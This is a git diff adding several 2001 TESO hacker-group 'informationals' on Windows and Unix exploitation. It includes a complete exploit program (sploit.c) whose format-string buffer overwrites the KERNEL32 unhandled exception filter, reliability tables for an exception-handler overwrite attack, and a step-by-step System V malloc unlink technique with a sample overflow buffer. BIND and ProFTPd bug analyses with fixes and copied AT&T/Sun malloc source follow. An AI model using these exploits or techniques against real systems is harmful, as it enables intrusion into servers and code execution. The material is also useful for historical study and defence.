435Now, we run into a few small limitations of our compilers snprintf()-function,
436apparently the runtime of BC++ will not allow us to have too long output, so
437we cannot overwrite more than 10 exception handlers in the current setup.
438(This number can be optimized by choosing better addresses for the EXCEPTION_
439FRAME structure and by optimizing the writing process where possible).
440Therefore, under really heavy load (dozens of threads active at one time)
441one might want to create multiple threads which overwrite different subsets
442of the TIBs a time. This is up to the attackers creativity, I am not going
443to play through every possible situation here.
444
445Testrun: The above examples were used for 11 trial runs (don't ask why).
446(Remember, 10 of the threads in the process are _our_ threads, so de-facto
447load of the server without our intervention is the value in brackets)
448
449Try No #1 Threads in Process Address of thread TIB Status ?
450 1 19(9) 0x7FFDD000 SUCCESS
451 2 21(11) 0x7FFDC000 SUCCESS
452 3 28(18) 0x7FFDD000 SUCCESS
453 4 27(17) 0x7FFD5000 SUCCESS
454 5 18(8) 0x7FFDD000 SUCCESS
455 6 29(19) 0x7FFA6000 FAILURE
456 7 24(14) 0x7FFDB000 SUCCESS
457 8 27(17) 0x7FFD6000 SUCCESS
458 9 31(21) 0x7FFA7000 FAILURE
459 10 30(20) 0x7FFA6000 FAILURE
460 11 25(15) 0x7FFD6000 SUCCESS
461
462Now, for a server with a load between 8-21 threads (as the example program
463lameserver.c and lameclient.c create) the example exploit will yield decent
464results with an exploitation reliability of about 72%. (Yes I know I need
465more test results to make reliable assumptions about reliability ! :)
466
467The fun part is that
468this will work against any SP of NT/2k known to me and will even work if the
469binaries in memory are different from those expected in the exploit (assuming
470the writable area where we create the EXCEPTION_FRAME stays writable).
471In fact you have to know very little in order to have a pretty decent proba-
472bility of succeeding. But keep in mind its only a propability, and this is
473not the nice 80's style single-thread process-only exploitation most people
474are used to.
475
476Possible ways to improve the probability for success (up to the reader to
477actually try out :)
4781. Try to use multiple threads to overwrite a larger number of EXCEPTION_FRAME
479pointers and keeping the thread alive afterwards.
4802. The worse the memory is fragmented, the better our chances to get our main
481exploiting thread to be among the first 10 in memory. So creating memory frag-
482mentation works for us -- try creating a heavy server load with 30-40 threads,
483then let them all die quickly. Connect immediately afterwards with the main
484exploiting thread.
485
486Ok, Tuesday night, 3 o'clock in the morning. Time for bed. Stay tooned for my
487next informational presenting yet another leeto Win32 fmt bug exploitation
488technique: UEFA (Unhandled Exception Filter Attack) :)
489
490===============================================================================
491
diff --git a/informationals/teso-i0035.txt b/informationals/teso-i0035.txt
new file mode 100644
index 0000000..147902a
--- /dev/null
+++ b/informationals/teso-i0035.txt
@@ -0,0 +1,107 @@
10035 2001/03/13 safely getting control in fmt bugs if KERNEL32 is known
2==== TESO Informational =======================================================
3This piece of information is to be kept confidential.
4===============================================================================
5
6Description ..........: way of getting control with format string bugs
7Date .................: 2001/03/13 11:00
8Author ...............: halvar
9Publicity level ......: unknown
10Affected .............: NT/Win32 specific
11Type of entity .......: NT internals
12Type of discovery ....: useful information
13Severity/Importance ..: n/a
14Found by .............: halvar
15
16===============================================================================
17
18After our last excursion into the depths of NT exception handling, we will now
19cover another interesting aspect: Unhandled Exception Filter Attacks (UEFA).
20
21In Win32 exception handling, it is possible to set something called "Unhandled
22Exception Filter" which is basically a global exception handler for all threads
23in a particular task. If an exception occurs and none of the per-thread except-
24ion handlers handle it, this function will be called.
25
26The idea in this case is to use the format bug to set an Unhandled Exception
27Filter to an address where our code is stored, and to subsequently trigger an
28exception that isn't handled by any per-thread exception handlers.
29
30A quick run with IDA through KERNEL32.DLL gives us the following disassembly
31for the function
32
33void * __stdcall SetUnhandledExceptionFilter(void *lpTopLevelExceptionFilter);
34.text:77F1D480 SetUnhandledExceptionFilter proc near
35.text:77F1D480
36.text:77F1D480 lpTopLevelExceptionFilter= dword ptr 4
37.text:77F1D480
38.text:77F1D480 mov eax, dword_77F45418
39.text:77F1D485 mov ecx, [esp+lpTopLevelExceptionFilter]
40.text:77F1D489 mov dword_77F45418, ecx
41.text:77F1D48F retn 4
42.text:77F1D48F SetUnhandledExceptionFilter endp
43
44Ok, here we see that the address of the exception filter has to be written to
45the void * at 0x77F45418 on my box. This means, too, that we will need to know
46the exact version of KERNEL32.DLL in order to change the exception filter.
47So this technique is only useful if you either are really good at remotely fin-
48gerprinting NT versions, service packs and language versions or have a format
49bug that allows you to read back data from KERNEL32.DLL.
50
51While we need to know a lot more info about the computer we're attacking, we
52only need 5 writes to get control: 4 for the new exception filter pointer and
531 to trigger the exception.
54
55Anyways, here is a quick modified sploit.c which will get control to the 0xCC
56by overwriting the top level exception filter instead of all the per-thread
57exception handlers. (Again, run this against lameserver.c :)
58
59------- snip --- sploit.c
60#include <stdio.h>
61#include <stdlib.h>
62#include <windows.h>
63#include <winsock.h>
64
65unsigned char szAttackBuffer[] = {
66"\x10\x80\x03\x78%200c%n " // Create a single 0xCC as "payload"
67
68//--- First Thread
69"\x18\x54\xF4\x77%c%62c%n" // write 0x10
70"\x19\x54\xF4\x77%c%107c%n%.f" // write 0x80
71"\x1A\x54\xF4\x77%126c%n " // write 0x03
72"\x1B\x54\xF4\x77%c%111c%n%n" // write 0x78 and trigger exception
73
74};
75
76int main(int argc, char **argv)
77{
78 WSADATA wsaDat;
79 struct sockaddr_in Host;
80 int sock, socks[10], i;
81
82 WSAStartup(0x101, &wsaDat);
83
84 Host.sin_family = AF_INET;
85 Host.sin_addr.s_addr = 0x0100007F;
86 Host.sin_port = htons(999);
87
88 sock = socket(AF_INET, SOCK_STREAM, 0);
89 connect(sock, (struct sockaddr *)&Host, sizeof(Host)); // create attack
90 // thread
91 for(i = 1; i < 11; i++)
92 {
93 socks[i] = socket(AF_INET,SOCK_STREAM, 0);
94 connect(socks[i], (struct sockaddr *)&Host, sizeof(Host));
95 }
96 Sleep(50);
97 send(sock, szAttackBuffer, strlen(szAttackBuffer), 0);
98}
99------------- snip --- sploit.c EOF
100
101Stay tooned for the next informational, featuring nude chix delivering pizza to
102randomizer and acpizer offering them some KY-lubrication. (KY-lube-technique)
103
104Cheers, Halvar
105
106===============================================================================
107
diff --git a/informationals/teso-i0036.txt b/informationals/teso-i0036.txt
new file mode 100644
index 0000000..b4960e5
--- /dev/null
+++ b/informationals/teso-i0036.txt
@@ -0,0 +1,142 @@
10036 2001/04/16 bugs in BIND 8.2.3-REL, ProFTPd, ...
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: bugs in BIND 8.2.3-REL, proftpd, ...
8Date .................: 2001/04/16 18:00
9Author ...............: scut
10Publicity level ......: unknown
11Affected .............: BIND 8.2.3-REL and below, ProFTPd
12Type of entity .......: bugs
13Type of discovery ....: vulnerability
14Severity/Importance ..: medium
15Found by .............: scut
16
17===============================================================================
18
19BIND 8.2.3-REL and below contains two buffer overflows in the handling of
20UPDATE packets.
21
22### bug 1
23
24BIND-8.2.3-REL/src/bin/named/ns_update.c:1636
25
26 case T_SIG:
27 if (dlen < SIG_HDR_SIZE || size < dlen)
28 return (0);
29 memcpy(cp1, cp, SIG_HDR_SIZE);
30 size -= SIG_HDR_SIZE;
31 cp += SIG_HDR_SIZE;
32 cp1 += SIG_HDR_SIZE;
33 n = dn_expand(msg, eom, cp, (char *)cp1, size);
34 if (n < 0 || n + SIG_HDR_SIZE > dlen)
35 return (0);
36 cp += n;
37 n1 = dlen - n - SIG_HDR_SIZE;
38 n = strlen((char *)cp1) + 1;
39 cp1 += n;
40/* #1 */
41 if (size < n1)
42 return (0);
43 memcpy(cp1, cp, n1);
44 cp1 += n1;
45 return (cp1 - cp1init);
46
47This function processes T_SIG resource records within UPDATE packets. This
48piece of code is difficult to reach remotely, as discussed below.
49
50The buffer overflow happens because `cp1' and `size' get desynchronized.
51Normally `cp1' is a pointer into the data buffer that is written to when
52processing the packet. `size' is the number of remaining bytes within this
53buffer that are unused. However in this case the author of the file forgot
54to subtract the number of bytes that are written to the buffer by the
55dn_expand function from the `size' variable. So `size' still denotes the
56number of bytes remaining in the buffer, before dn_expand was called,
57while `cp1' has been moved. This allows one to overflow the buffer by as
58much as MAXDNAME (1025) bytes, minus a few in the following memcpy call.
59
60At position #1 this line has to be inserted to fix the problem:
61
62 size -= n;
63
64Sometimes, the problem lies in the invisible code, forgotten to be written.
65
66### bug 2
67
68BIND-8.2.3-REL/src/bin/named/ns_update.c:1655
69
70 case T_NXT:
71 n = dn_expand(msg, eom, cp, (char *)cp1, size);
72 if (n < 0 || (u_int)n >= dlen)
73 return (0);
74 size -= n;
75/* #1 */
76 cp += n;
77 n1 = dlen - n;
78 n = strlen((char *)cp1) + 1;
79 cp1 += n;
80 /*
81 * The first bit of the first octet determines the format
82 * of the NXT record. A format for types >= 128 has not
83 * yet been defined, so if bit zero is set, we just copy
84 * what's there because we don't understand it.
85 */
86 if ((*cp & 0x80) == 0) {
87 /*
88 * Bit zero is not set; this is an ordinary NXT
89 * record. The bitmap must be at least 4 octets
90 * because the NXT bit should be set. It should be
91 * less than or equal to 16 octets because this NXT
92 * format is only defined for types < 128.
93 */
94 if (n1 < 4 || n1 > 16)
95 return (0);
96 }
97 if (n1 > size)
98 return (0);
99 memcpy(cp1, cp, n1);
100 cp1 += n1;
101 return (cp1 - cp1init);
102
103Here the authors of BIND fall for a mistake by not knowing the meaning of
104their own API. The `dn_expand' function returns the number of bytes the
105source processing pointer was advanced. But it may write as much as `size'
106bytes to the output buffer, which is given by pointer `cp1'.
107
108Hence, `size' is getting decreased by the wrong value, the number of bytes
109the source pointer was moved, while the destination pointer `cp1' is moved
110correctly. This can lead to a buffer overflow condition in which up to
111MAXDNAME (minus a few) bytes can be overwritten outside of the buffer.
112
113The UPDATE code is difficult to reach and requires though ACL checks to be
114passed. Even then, behind the buffer you can overflow there are no important
115informations which can be used to increase your current access level. To
116conclude: this buffer overflow may be interesting, but is most likely not
117exploitable except in very special cases (architectures with different stack
118layouts, priviledge to issue UPDATE packets, ...).
119
120
121
122ProFTPd messed code
123
124proftpd-1.2.0rc2/modules/mod_ls.c:333
125
126 char *p = nameline + strlen(nameline);
127 ...
128 snprintf(p, sizeof(nameline) - strlen(nameline) - 4, " -> %s", l);
129
130Where nameline is a local stack buffer:
131
132 char nameline[MAXPATHLEN + MAXPATHLEN + 128] = {'\0'};
133
134The problem manifests itself if strlen (nameline) > (sizeof (nameline) - 3),
135since then the length parameter to snprintf turns negative, behaving like a
136normal sprintf function. The nameline buffer is printed to before, with
137filemodes and name information, but it seems not possible to reach a length
138of more then 124 bytes. However, this bug shows that nasty sign conversion
139bugs are still within popular code in use today.
140
141===============================================================================
142
diff --git a/informationals/teso-i0037.txt b/informationals/teso-i0037.txt
new file mode 100644
index 0000000..c550002
--- /dev/null
+++ b/informationals/teso-i0037.txt
@@ -0,0 +1,382 @@
10037 2001/05/06 System V malloc implementation details for exploitation
2==== TESO Informational =======================================================
3This piece of information is to be kept confidential.
4===============================================================================
5
6Description ..........: System V malloc implementation details for exploitation
7Date .................: 2001/05/06 18:00
8Author ...............: scut
9Publicity level ......: unknown
10Affected .............: System V based malloc implementations (Solaris, IRIX)
11Type of entity .......: implementation details
12Type of discovery ....: useful information
13Severity/Importance ..: medium
14Found by .............: scut
15
16===============================================================================
17
18On the Unix system, and later in the C standard library there are functions to
19handle variable amounts of memory in a dynamic way. This allows programs to
20dynamically request memory blocks from the system. The operating system only
21provides a very rough system call 'sbrk' to change the size of a big memory
22chunk, which is known as the heap.
23
24On top if this system call the malloc interface is build, which builds a layer
25between the application and the system call. It can dynamically split the large
26single block into smaller chunks, free those chunks later on the applications
27request and avoid fragmentation while doing so. You can compare the malloc
28interface as being similar to a file system on a single large, but dynamically
29sized raw device.
30
31There are a few design goals which have to be met by the malloc interface:
32
33 - stability
34 - performance
35 - avoid fragmentation of heap space
36 - low overhead
37
38There are only a few common malloc implementations. The most common one is the
39System V one, implemented by AT&T. Another common one is the GNU C Library
40implementation. On the Microsoft Windows operating system, a similar interface
41is used (RtlHeap*).
42
43
44Here is a table of algorithms and which operating systems use them:
45
46Algorithm | Operating System
47------------------------+-------------------------------------------------------
48BSD kingsley | 4.4BSD, AIX (compatibility), Ultrix
49BSD phk | BSDI, FreeBSD, OpenBSD
50GNU Lib C (Doug Lea) | Hurd, Linux
51System V AT&T | Solaris, IRIX
52Yorktown | AIX (default)
53Rtl* | Microsoft Windows *
54------------------------+-------------------------------------------------------
55
56If you have information to any of the missing operating systems (HP-UX, NetBSD,
57BSDI) please tell me (at best with a copy of malloc.c and related files, if
58possible).
59
60Its interesting to note that most of the malloc implementations are very easy
61to port and are architecture independent. Most of them only interface with the
62'sbrk' system call, but allow a change of behaviour through a #define. All of
63the implementations I have come across are written in ANSI C and do only very
64minimal to no sanity checking. Most of them have a special compilation define
65that includes asserts and extra checks. Those are turned off by default in the
66final build, for performance reasons. Some of the implementations also offer
67extra reliability checks that will detect buffer overflows. Those are made to
68detect overflows while developing, not to stop exploitation in release
69versions.
70
71
72Storing management info in-band
73
74Most malloc implementations share the behaviour of storing their own management
75information, such as lists of used or free blocks, sizes of memory blocks and
76other useful data within the heap space itself. Since the whole idea of
77malloc/free is based on the dynamic requirements the application has, the
78management info itself occupies a variable amount of data too. Because of this
79the implementation can seldomly just reserve a certain amount of memory for its
80own purposes, but stores the management information "in-band", right after and
81before the blocks of memory that are used by the application.
82
83The central attack of exploiting malloc allocated buffer overflows is to modify
84this management information in a way that will later allow arbitrary memory
85overwrites. This way pointers can be overwritten within the writeable process
86memory, hence allowing modification of return addresses, linkage tables or
87application level data.
88
89To mount such an attack, we have to take a deep look within the internal
90workings of the implementation we want to exploit. This article discusses the
91commonly used System V implementation used in Solaris and IRIX (possibly
92others).
93
94This implementation is based on self-adjusting binary trees. The theoretical
95background of this implementation has been described 1985 by DD Sleator and RE
96Tarjan in "Self-Adjusting Binary Trees". If anyone gets a copy of those
97article, please forward it to me.
98
99The basic idea of this implementation is to keep lists of equal sized malloc
100chunks within a binary tree. So if you allocate two chunks of the same size,
101they will be within the same node, within the same list of this node. Also, the
102tree is ordered by the size of its elements.
103
104
105The TREE structure
106
107Within the mallint.h file the definition of the TREE structure can be found,
108along with easy-to-use macros to access elements of it.
109
110To allow each tree element to be used for different purposes, to save overhead,
111and to force an alignment, each TREE structure element is defined as union:
112
113
114/* the proto-word; size must be ALIGN bytes */
115typedef union _w_ {
116 size_t w_i; /* an unsigned int */
117 struct _t_ *w_p; /* a pointer */
118 char w_a[ALIGN]; /* to force size */
119} WORD;
120
121
122Central TREE structure definition:
123
124/* structure of a node in the free tree */
125typedef struct _t_ {
126 WORD t_s; /* size of this element */
127 WORD t_p; /* parent node */
128 WORD t_l; /* left child */
129 WORD t_r; /* right child */
130 WORD t_n; /* next in link list */
131 WORD t_d; /* dummy to reserve space for self-pointer */
132} TREE;
133
134
135The 't_s' element of the chunk header contains the rounded up value of the size
136the user requested when he called malloc. Since the size is always rounded up
137to a word boundary, at least the lower two bits of the 't_s' elements are
138unused - they would be zero all the time.
139Instead of being zero, they are ignored for all size-related operations and
140take a special meaning as flag elements (from the malloc.c source):
141
142 BIT0: 1 for busy (block is in use), 0 for free.
143
144 BIT1: if the block is busy, this bit is 1 if the preceding block in
145 contiguous memory is free. Otherwise, it is always 0.
146
147
148TREE Access macros:
149
150/* usable # of bytes in the block */
151#define SIZE(b) (((b)->t_s).w_i)
152
153/* free tree pointers */
154#define PARENT(b) (((b)->t_p).w_p)
155#define LEFT(b) (((b)->t_l).w_p)
156#define RIGHT(b) (((b)->t_r).w_p)
157
158/* forward link in lists of small blocks */
159#define AFTER(b) (((b)->t_p).w_p)
160
161/* forward and backward links for lists in the tree */
162#define LINKFOR(b) (((b)->t_n).w_p)
163#define LINKBAK(b) (((b)->t_p).w_p)
164
165
166For all allocation operations a certain alignment and minimum size is enforced,
167which is defined here:
168
169#define WORDSIZE (sizeof (WORD))
170#define MINSIZE (sizeof (TREE) - sizeof (WORD))
171#define ROUND(s) if (s % WORDSIZE) s += (WORDSIZE - (s % WORDSIZE))
172
173
174The tree structure is the central element of each allocated chunk. Normally
175only the 't_s' and 't_p' elements are used, and user data is stored from 't_l'
176on. Once the node is freed, this changes and the data is reused to manage the
177free elements efficiently. The chunk represents an element within the splay
178tree. As more chunks get freed the malloc implementation tries to merge the
179directly bordering free chunks. At most FREESIZE (32 by default) chunks can be
180in this dangling free state at the same time. They are all stored within the
181'flist' array. If a call to free is made while the list is already full the old
182element at this place falls out and is forwarded to realfree. The place is then
183occupied by the newly freed element.
184
185This is done to speed up and avoid defragmentation in cases where a lot of
186calls to free are made in a row. The real merging process is done by realfree.
187It inserts the chunk into the central tree, which starts at the 'Root' pointer.
188The tree is ordered by the size of their elements and balances itself. It is a
189so called "splay tree", in which the elements cycle in a special way to speed
190up searches (see google.com "splay tree" for further information). This is not
191so much important here, but keep in mind that there are two stages of free
192chunks, one being within the flist array, and one within the free-elements tree
193starting at 'Root'.
194
195There are some special management routines for allocating small chunks of
196memory, which happen to have a size below 40 bytes. Those are not considered
197here, but the basic idea is to have extra lists of them, not keeping them
198within a tree but in lists, one for each WORD matching size below 40.
199
200There is more than one way to exploit a malloc based buffer overflow, however
201here is one method which works against IRIX and Solaris.
202
203As a chunk is realfree'd, it is checked whether the directly bordering chunks
204behind and in front of it are already within the real free'd tree. If it is the
205case, the only thing that has to be done is to logically merge the two chunks
206and reorder its position within the tree, since the size changed.
207
208This merging process involves pointer modification within the tree, which
209consists out of nodes. This nodes are represented by the chunk header itself,
210the pointers to other tree elements are stored there. If we can overwrite them,
211we can possibly modify the operation when merging the chunks.
212
213Here is how its done (source shortened/cutted to only display the interesting
214path), in malloc.c:
215
216static void
217realfree(void *old)
218{
219 TREE *tp, *sp, *np;
220 size_t ts, size;
221
222 /* pointer to the block */
223 tp = BLOCK(old);
224 ts = SIZE(tp);
225 if (!ISBIT0(ts))
226 return;
227 CLRBITS01(SIZE(tp));
228
229 /* see if coalescing with next block is warranted */
230 np = NEXT(tp);
231 if (!ISBIT0(SIZE(np))) {
232 if (np != Bottom)
233 t_delete(np);
234 SIZE(tp) += SIZE(np) + WORDSIZE;
235 }
236
237We remember NEXT points to the chunk directly following the current one. So we
238have this memory layout:
239
240 tp old np
241 | | |
242 [chunk A header] [chunk A data] | [chunk B or free ....]
243 |
244 chunk boundary
245
246In the usual situtation the application has allocated some space and got a
247pointer (old) from malloc. It then messes up and allows a buffer overflow of
248the chunk data. We cross the chunk boundary by overflowing and hit the data
249behind, which is either free space or another used chunk.
250
251 np = NEXT(tp);
252
253Since we can only overflow data behind 'old', we cannot modify the header of
254our own chunk. Therefore we cannot influence the 'np' pointer in any way. It
255always points to the chunk boundary.
256
257Now a check is made to test if it is possible to merge forward, that is our
258chunk and the chunk behind it. Remember that we can control the chunk behind
259ourself.
260
261 if (!ISBIT0(SIZE(np))) {
262 if (np != Bottom)
263 t_delete(np);
264 SIZE(tp) += SIZE(np) + WORDSIZE;
265 }
266
267BIT0 is zero if the chunk is free and within the free elements tree. So if it
268is free and not the last chunk, the special 'Bottom' chunk, it is deleted from
269the tree. Then the sizes of both chunks are added and later in the code of the
270realfree function the whole resized chunk is reinserted into the tree.
271
272One important part is that the overflowed chunk must not be the last chunk
273within the malloc space, condition:
274
275 1. Overflowed chunk must not be the last chunk
276
277Here is how the 't_delete' function works:
278
279static void
280t_delete(TREE *op)
281{
282 TREE *tp, *sp, *gp;
283
284 /* if this is a non-tree node */
285 if (ISNOTREE(op)) {
286 tp = LINKBAK(op);
287 if ((sp = LINKFOR(op)) != NULL)
288 LINKBAK(sp) = tp;
289 LINKFOR(tp) = sp;
290 return;
291 }
292
293There are other cases, but this one is the easiest to exploit, and as I am
294already tired about this, I will just explain this one here, the others are
295very similar (look at malloc.c).
296
297ISNOTREE compares the 't_l' element of the TREE structure with -1. -1 is the
298special marker for non-tree nodes which are used as doubly linked list, but
299that does not matter.
300
301Anyway, that is the first condition we have to obey:
302
303 2. fake->t_l = -1;
304
305Now the unlinking between FOR (t_n) and BAK (t_p) is done, which can be
306rewritten as:
307
308 t1 = fake->t_p
309 t2 = fake->t_n
310 t2->t_p = t1
311 t1->t_n = t2
312
313Which is (written in pseudo-raw-assignments which happen at the same time):
314
315 [t_n + (1 * sizeof (WORD))] = t_p
316 [t_p + (4 * sizeof (WORD))] = t_n
317
318This way we can write to arbitrary addresses, but only with other valid
319addresses at the same time. We choose to use this:
320
321 t_p = retloc - 4 * sizeof (WORD)
322 t_n = retaddr
323
324This way retloc will be overwritten with retaddr and *(retaddr + 8) will be
325overwritten with retloc. If there is code at retaddr, there should be a small
326jump over the bytes 8-11 to not execute this address as code.
327
328Finally our overwrite buffer looks like this:
329
330 | <t_s> <t_p> <t_l> <j: t_r> <t_n> <j: t_d>
331 |
332 chunk boundary
333
334Where: t_s = some small size with lower two bits zeroed out
335 t_p = retloc - 4 * sizeof (WORD)
336 t_l = -1
337 t_r = junk
338 t_n = retaddr
339 t_d = junk
340
341Note that although all the data is stored as 32 bit pointers each structure
342element occupies eight bytes, because of the WORD union, which forces at least
343ALIGN bytes for each element. ALIGN is defined to eight by default.
344
345So a real overflow buffer behind the chunk boundary might look like:
346
347ff ff ff f0 41 41 41 41 ef ff fc e0 41 41 41 41 | ....AAAA....AAAA
348ff ff ff ff 41 41 41 41 41 41 41 41 41 41 41 41 | ....AAAAAAAAAAAA
349ef ff fc a8 41 41 41 41 41 41 41 41 41 41 41 41 | ....AAAAAAAAAAAA
350
351All 'A' characters can be set arbitrarily. The 't_s' element has been replaced
352with a small negative number to avoid NUL bytes. If you use NUL bytes the
353number has to be small also, else the realfree function crashes later.
354
355The buffer above will overwrite:
356
357 [0xeffffce0 + 32] = 0xeffffca8
358 [0xeffffca8 + 8] = 0xeffffce0
359
360See the example code (mxp.c) for a more in-depth explanation.
361
362To summarize down the guts if you happen to exploit a malloc based buffer
363overflow on IRIX or Solaris:
364
365 1. Create a fake chunk behind the one you overflow
366 2. The fake chunk is merged with the one you overflow as it is passed to
367 realfree
368 3. To make it pass to realfree it has to call malloc() again or there
369 have to be a lot of successive free() calls
370 4. The overflowed chunk must not be the last chunk (the one before
371 Bottom)
372 5. Prepend the shellcode/nop-space with jump-aheads to not execute the
373 unavoidable unlink-overwrite address as code
374 6. Using the t_splay routines attacks like this are possible too, so if
375 you can not use the attack described here (say you cannot write 0xff
376 bytes), use the source luke.
377
378Enjoy. :)
379
380===============================================================================
381
382
diff --git a/informationals/teso-i0037/mallint.h b/informationals/teso-i0037/mallint.h
new file mode 100644
index 0000000..2e501f0
--- /dev/null
+++ b/informationals/teso-i0037/mallint.h
@@ -0,0 +1,154 @@
1/* Copyright (c) 1988 AT&T */
2/* All Rights Reserved */
3
4/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */
5/* The copyright notice above does not evidence any */
6/* actual or intended publication of such source code. */
7
8/*
9 * Copyright (c) 1996-1997 by Sun Microsystems, Inc.
10 * All rights reserved.
11 */
12
13#pragma ident "@(#)mallint.h 1.11 97/12/02 SMI" /* SVr4.0 1.2 */
14
15#include <sys/isa_defs.h>
16#include <stdlib.h>
17#include <memory.h>
18#include <thread.h>
19#include <synch.h>
20#if 0
21#include <mtlib.h>
22#endif
23
24/* debugging macros */
25#ifdef DEBUG
26#define ASSERT(p) ((void) ((p) || (abort(), 0)))
27#define COUNT(n) ((void) n++)
28static int nmalloc, nrealloc, nfree;
29#else
30#define ASSERT(p) ((void)0)
31#define COUNT(n) ((void)0)
32#endif /* DEBUG */
33
34/* function to copy data from one area to another */
35#define MEMCOPY(to, fr, n) ((void) memcpy(to, fr, n))
36
37/* for conveniences */
38#ifndef NULL
39#define NULL (0)
40#endif
41
42#define reg register
43#define WORDSIZE (sizeof (WORD))
44#define MINSIZE (sizeof (TREE) - sizeof (WORD))
45#define ROUND(s) if (s % WORDSIZE) s += (WORDSIZE - (s % WORDSIZE))
46
47#ifdef DEBUG32
48/*
49 * The following definitions ease debugging
50 * on a machine in which sizeof(pointer) == sizeof(int) == 4.
51 * These definitions are not portable.
52 *
53 * Alignment (ALIGN) changed to 8 for SPARC ldd/std.
54*/
55#define ALIGN 8
56typedef int WORD;
57typedef struct _t_ {
58 size_t t_s;
59 struct _t_ *t_p;
60 struct _t_ *t_l;
61 struct _t_ *t_r;
62 struct _t_ *t_n;
63 struct _t_ *t_d;
64} TREE;
65#define SIZE(b) ((b)->t_s)
66#define AFTER(b) ((b)->t_p)
67#define PARENT(b) ((b)->t_p)
68#define LEFT(b) ((b)->t_l)
69#define RIGHT(b) ((b)->t_r)
70#define LINKFOR(b) ((b)->t_n)
71#define LINKBAK(b) ((b)->t_p)
72
73#else /* !DEBUG32 */
74/*
75 * All of our allocations will be aligned on the least multiple of 4,
76 * at least, so the two low order bits are guaranteed to be available.
77 */
78#ifdef _LP64
79#define ALIGN 16
80#else
81#define ALIGN 8
82#endif
83
84/* the proto-word; size must be ALIGN bytes */
85typedef union _w_ {
86 size_t w_i; /* an unsigned int */
87 struct _t_ *w_p; /* a pointer */
88 char w_a[ALIGN]; /* to force size */
89} WORD;
90
91/* structure of a node in the free tree */
92typedef struct _t_ {
93 WORD t_s; /* size of this element */
94 WORD t_p; /* parent node */
95 WORD t_l; /* left child */
96 WORD t_r; /* right child */
97 WORD t_n; /* next in link list */
98 WORD t_d; /* dummy to reserve space for self-pointer */
99} TREE;
100
101/* usable # of bytes in the block */
102#define SIZE(b) (((b)->t_s).w_i)
103
104/* free tree pointers */
105#define PARENT(b) (((b)->t_p).w_p)
106#define LEFT(b) (((b)->t_l).w_p)
107#define RIGHT(b) (((b)->t_r).w_p)
108
109/* forward link in lists of small blocks */
110#define AFTER(b) (((b)->t_p).w_p)
111
112/* forward and backward links for lists in the tree */
113#define LINKFOR(b) (((b)->t_n).w_p)
114#define LINKBAK(b) (((b)->t_p).w_p)
115
116#endif /* DEBUG32 */
117
118/* set/test indicator if a block is in the tree or in a list */
119#define SETNOTREE(b) (LEFT(b) = (TREE *)(-1))
120#define ISNOTREE(b) (LEFT(b) == (TREE *)(-1))
121
122/* functions to get information on a block */
123#define DATA(b) (((char *)(b)) + WORDSIZE)
124#define BLOCK(d) ((TREE *)(((char *)(d)) - WORDSIZE))
125#define SELFP(b) ((TREE **)(((char *)(b)) + SIZE(b)))
126#define LAST(b) (*((TREE **)(((char *)(b)) - WORDSIZE)))
127#define NEXT(b) ((TREE *)(((char *)(b)) + SIZE(b) + WORDSIZE))
128#define BOTTOM(b) ((DATA(b) + SIZE(b) + WORDSIZE) == Baddr)
129
130/* functions to set and test the lowest two bits of a word */
131#define BIT0 (01) /* ...001 */
132#define BIT1 (02) /* ...010 */
133#define BITS01 (03) /* ...011 */
134#define ISBIT0(w) ((w) & BIT0) /* Is busy? */
135#define ISBIT1(w) ((w) & BIT1) /* Is the preceding free? */
136#define SETBIT0(w) ((w) |= BIT0) /* Block is busy */
137#define SETBIT1(w) ((w) |= BIT1) /* The preceding is free */
138#define CLRBIT0(w) ((w) &= ~BIT0) /* Clean bit0 */
139#define CLRBIT1(w) ((w) &= ~BIT1) /* Clean bit1 */
140#define SETBITS01(w) ((w) |= BITS01) /* Set bits 0 & 1 */
141#define CLRBITS01(w) ((w) &= ~BITS01) /* Clean bits 0 & 1 */
142#define SETOLD01(n, o) ((n) |= (BITS01 & (o)))
143
144/* system call to get more core */
145#define GETCORE sbrk
146#define ERRCORE ((void *)(-1))
147#define CORESIZE (1024*ALIGN)
148
149extern void *GETCORE(size_t);
150extern void _free_unlocked(void *);
151
152#ifdef _REENTRANT
153extern mutex_t __malloc_lock;
154#endif /* _REENTRANT */
diff --git a/informationals/teso-i0037/malloc.c b/informationals/teso-i0037/malloc.c
new file mode 100644
index 0000000..7460020
--- /dev/null
+++ b/informationals/teso-i0037/malloc.c
@@ -0,0 +1,838 @@
1/* Copyright (c) 1988 AT&T */
2/* All Rights Reserved */
3
4/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */
5/* The copyright notice above does not evidence any */
6/* actual or intended publication of such source code. */
7
8/*
9 * Copyright (c) 1996, by Sun Microsystems, Inc.
10 * All rights reserved.
11 */
12
13#pragma ident "@(#)malloc.c 1.18 98/07/21 SMI" /* SVr4.0 1.30 */
14
15/*LINTLIBRARY*/
16
17/*
18 * Memory management: malloc(), realloc(), free().
19 *
20 * The following #-parameters may be redefined:
21 * SEGMENTED: if defined, memory requests are assumed to be
22 * non-contiguous across calls of GETCORE's.
23 * GETCORE: a function to get more core memory. If not SEGMENTED,
24 * GETCORE(0) is assumed to return the next available
25 * address. Default is 'sbrk'.
26 * ERRCORE: the error code as returned by GETCORE.
27 * Default is (char *)(-1).
28 * CORESIZE: a desired unit (measured in bytes) to be used
29 * with GETCORE. Default is (1024*ALIGN).
30 *
31 * This algorithm is based on a best fit strategy with lists of
32 * free elts maintained in a self-adjusting binary tree. Each list
33 * contains all elts of the same size. The tree is ordered by size.
34 * For results on self-adjusting trees, see the paper:
35 * Self-Adjusting Binary Trees,
36 * DD Sleator & RE Tarjan, JACM 1985.
37 *
38 * The header of a block contains the size of the data part in bytes.
39 * Since the size of a block is 0%4, the low two bits of the header
40 * are free and used as follows:
41 *
42 * BIT0: 1 for busy (block is in use), 0 for free.
43 * BIT1: if the block is busy, this bit is 1 if the
44 * preceding block in contiguous memory is free.
45 * Otherwise, it is always 0.
46 */
47
48#include "synonyms.h"
49#include <mtlib.h>
50#include <sys/types.h>
51#include <stdlib.h>
52#include <string.h>
53#include <limits.h>
54#include "mallint.h"
55
56static TREE *Root, /* root of the free tree */
57 *Bottom, /* the last free chunk in the arena */
58 *_morecore(size_t); /* function to get more core */
59
60static char *Baddr; /* current high address of the arena */
61static char *Lfree; /* last freed block with data intact */
62
63static void t_delete(TREE *);
64static void t_splay(TREE *);
65static void realfree(void *);
66static void cleanfree(void *);
